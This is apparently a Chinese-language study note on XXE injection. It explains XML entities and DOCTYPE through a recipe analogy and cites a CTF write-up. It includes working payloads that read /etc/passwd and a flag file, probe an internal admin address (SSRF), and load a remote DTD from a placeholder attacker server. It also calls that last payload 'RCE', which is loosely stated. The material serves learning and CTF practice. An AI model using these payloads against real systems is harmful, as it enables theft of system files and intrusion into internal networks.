XXE 目录
一些文章
XML注入+Xpath注入
https://xz.aliyun.com/news/6483?time__1311=YqIxgQG%3DDtD%3D0%3DD%2FD0ex2l89mhlCoTaF4D&u_atoken=92d9c56d3ac8825b21d7821c6c3a221e&u_asig=ac11000117416937856888629e0044
原理
XXE:外部实体注入
本质上是XML被滥用,XML是一种结构化数据的格式,用标签定义数据含义(现在被JSON取代)
内部实体和外部实体
- 内部实体:自己定义的固定值
- 外部实体:从外部动态加载内容,比如说访问一个网站获得信息呀,访问自己系统文件获得信息呀
XML就像菜谱一样:
当XML解析器解析内部实体的时候,已经定义好了,直接引用过来
<!ENTITY 蔬菜 "胡萝卜">
<食谱>今天用&蔬菜;做汤</食谱> <!-- 输出:胡萝卜汤 -->
当解析外部实体的时候,需要动态加载一遍
<!ENTITY 神秘酱料 SYSTEM "http://黑店/不明酱料.txt">
<食谱>加入&神秘酱料;</食谱>
什么是<!DOCTYPE
<!DOCTYPE定义了XML的“说明书”,定义了它的结构和规则,如果这个说明书引用了外部指南(比如说详情给请见xxxx),就会导致XXE
四大核心作用
1.定义文档结构
<!ELEMENT 订单 (收件人, 商品+)> <!-- 订单必须包含1个收件人,1个或多个商品 -->
<!ELEMENT 收件人 (#PCDATA)> <!-- 收件人节点内只能是文本 -->
2.声明实体,也就是声明内部实体和外部实体
<!ENTITY 客服电话 "400-123-4567"> <!-- 内部实体 -->
<!ENTITY 黑料 SYSTEM "file:///etc/passwd"> <!-- 外部实体(危险!) -->
3.引入外部DTD文件
<!DOCTYPE 订单 SYSTEM "http://api.com/order.dtd">
4.规范解析器行为:告诉解析器处理文档的规则
-
是否验证标签结构?
-
是否解析外部实体?
制作payload
1.XML 文档必须有且仅有一个根元素(整个文档起始和核心元素,所有其他元素都必须要嵌套在它内部),它是所有其他元素的父节点。在 <!DOCTYPE 中定义
也就是说要把恶意实体放进<root></root>标签中
2.外部实体声明语法:
<!ENTITY 实体名称 SYSTEM "外部资源的 URI">
实体名称:在 XML 文档中可以通过 &实体名称;
来引用该实体
SYSTEM
:关键字,用于指定这是一个外部系统实体,指定实体的外部资源位置
payload:
[GHCTF 2025](>﹏<)-CSDN博客
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>
XXE的使用方法
1.读取本地文件:
<?xml version="1.0"?>
<!DOCTYPE 攻击 [
<!ENTITY 偷窥 SYSTEM "file:///etc/passwd"> <!-- 读取Linux密码文件 -->
]>
<订单>&偷窥;</订单>
2.SSRF
<!DOCTYPE 攻击 [
<!ENTITY 内网探测 SYSTEM "http://192.168.1.1/admin"> <!-- 访问内网管理后台 -->
]>
<订单>&内网探测;</订单>
3.RCE
<!DOCTYPE 攻击 [
<!ENTITY % 恶意指令 SYSTEM "http://黑客服务器/boom.dtd">
%恶意指令; <!-- 加载远程DTD,执行危险操作 -->
]>
外部实体也就是自定义XML实体